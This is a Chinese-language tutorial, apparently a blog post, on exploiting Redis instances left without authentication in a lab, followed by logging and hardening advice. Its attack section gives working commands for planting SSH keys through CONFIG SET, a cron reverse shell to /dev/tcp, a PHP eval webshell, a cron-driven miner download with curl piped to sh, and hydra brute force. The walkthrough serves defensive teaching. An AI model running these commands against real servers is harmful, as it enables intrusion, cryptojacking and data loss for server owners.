本篇主要从redis未授权访问入手,还原一些黑客的攻击场景,介绍一些常用的攻击方法和安全知识。
应用介绍
漏洞介绍
测试环境
说明攻击方法
redis日志
修复方案
作者:悦潺@安全之光
一. 应用介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。
二. 漏洞介绍
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
三. 测试环境说明
3.1 测试环境与对象
测试对象环境 | 对应IP |
---|---|
受害者(centOS6.9) | 192.168.10.153 192.168.152.128 |
攻击者(kali) | 192.168.152.133 192.168.152.138 |
攻击者(redhat6.7) | 192.168.152.129 |
3.2 测试工具和相关资源
工具名称 | 工具用途 |
---|---|
nmap | 检测端口,操作系统和设备类型等信息 |
nc | 实现任意TCP/UDP端口的侦听 |
hydra | 主要用于暴力破解密码 |
四. 攻击方法
4.1 获取主机端口开放信息
Redis默认使用6379端口,使用nmap对服务器进行扫描
Nmap -A -p 6379 –script redis-info 192.168.10.129
4.2 Redis未授权访问获取敏感信息
Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。
./redis-cli -h 192.168.10.153
info
可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径
可以查看里面的key和其对应的值
keys *
get key
4.3 Redis删除数据
flushall 删除所有数据
del key 删除键为key的数据
4.4 写入ssh公钥,获取操作系统权限
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。
- 首先在自己的电脑上生成key:
ssh-keygen -t rsa
- 将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx
- 连接目标主机的Redis:
./redis-cli -h 192.168.10.153
- 设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
config set dir /root/.ssh
config set dbfilename authorized_keys
- 将数据保存在服务器硬盘上(缓存里的数据key.txt)
save
- 这时候用ssh远程连接:
ssh 192.168.10.153
可以看到不用密码就可以直接远程登录
- 可以在centos这边进入/root/.ssh目录,看一下authorized_keys的文件内容
cat /root/.ssh/authorized_keys
在authorized_keys文件里可以看到redis的版本号,我们写入的公钥和一些缓冲的乱码
4.5 在crontab里写定时任务,反弹shell
原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。
- 首先在客户端这边监听一个端口(随便一个端口就好,不要冲突就好)
nc -l 4444
- 连接redis,写入反弹shell
./redis-cli -h 192.168.152.128
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
- 1分钟后客户端这边收到centos的反弹shell
4.6 在web目录下写入webshell
通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。
- 远程连接redis,写入webshell
./redis-cli -h 192.168.152.128
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save
- 用菜刀连接:
- 用菜刀打开虚拟终端执行命令
4.7 写入挖矿进程
所谓”挖矿”实质上是用计算机解决一项复杂的数学问题,来保证比特币网络分布式记账系统的一致性。比特币网络会自动调整数学问题的难度,让整个网络约每10分钟得到一个合格答案。随后比特币网络会新生成一定量的比特币作为赏金,奖励获得答案的人。它依据特定算法,通过大量的计算产生,所以才会大量占据cpu,导致系统卡顿,严重的直接瘫痪。给服务器上传挖矿木马有两种方法:
- 1.用上面的方法拿下webshell,给服务器指定目录上传一个watch-smartd挖矿木马,一个shell脚本1.sh(上传的文件默认没有x权限)
vim 1.sh
#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
Export PATH
Chmod +x /root/test/watch-smartd
Exit 0
在kali上远程连接redis
./redis-cli -h 192.168.152.128
config set dir /var/spool/cron
config set dbfilename root
set watch-smartd "\n\n\n*/1 * * * * /root/test/./watch-smartd\n\n\n"
set 1.sh "\n\n\n/1sh/root/test/1.sh\n\n"
save
一分钟后在centOS上/root/test目录下查看watch-smartd的权限
使用top命令查看cpu使用情况
挖矿木马已经开始运行了,并且占用了大量的cpu
- 2.写入定时任务,到指定的网站去下载挖矿木马和shell脚本1.sh
vim 1.sh
#!bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
if [ ! -f "/tmp/watch-smartd" ];
then
wget http://192.168.152.138/watch/watch-smartd -O /tmp/watch-smartd
else
chmod +x /tmp/watch-smartd
fi
exit 0
在kali上远程连接redis
./redis-cli -h 192.168.152.128
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n\n*/5 * * * * curl http://192.168.152.138/watch/1.sh | sh\n\n\n"
set xxxx "\n\n\n*/1 * * * * /tmp/./watch-smartd\n\n\n"
save
1分钟后,在centos的/tmp目录下可以看到挖矿木马watch-smartd,并且具有x权限
使用top命令,可以看到挖矿木马已经执行,占用大量的cpu
4.8 利用redis执行命令
redis 2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。
- 本地建立一个lua脚本
vim hello.lua
local msg = "hello,hack!"
return msg
- 在客户端连接redis服务器并执行hello.lua
./redis-cli eval "$(cat hello.lua)" 0 -h 192.168.152.128
4.9 利用hydra暴力破解redis的密码
使用hydra工具可以对redis进行暴力破解
hydra -P passwd.txt redis://192.168.152.128
五. redis日志
redis在默认情况下,是不会生成日志文件的,所以需要修改配置文件,让redis生成日志。
5.1 配置方法:
- 首先找到redis的配置文件
- 打开配置文件,找到logfile(可能有多个logfile,认准旁边有loglevel的那个),或者直接搜logfile “”
- 将路径填入logfile后面的引号内,例如:logfile”/usr/local/redis/redis.log”
- 保存配置文件,以这个配置文件启动redis,然后这时候redis的启动框会变成一个黑框框,什么输出都没有,这就对了(因为输入全写到日志文件去了)
- loglevel是用来设置日志等级的,具体可以看配置文件中上面的注释
5.2 日志内容
- 记录详细的时间,某个IP远程连接,当前缓冲区里面有多少个key
- 如果redis被暴力猜解,会在日志里面看大量的连接IP
六. 修复方案
6.1 禁止一些高危命令(重启redis才能生效)
- 修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
- 或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"
6.2 以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
6.3 为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
6.4 禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错
6.5 修改默认端口
修改配置文件redis.conf文件
Port 6379
默认端口是6379,可以改变成其他端口(不要冲突就好)
6.6 保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
- 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
- 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
- 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh
6.7 设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。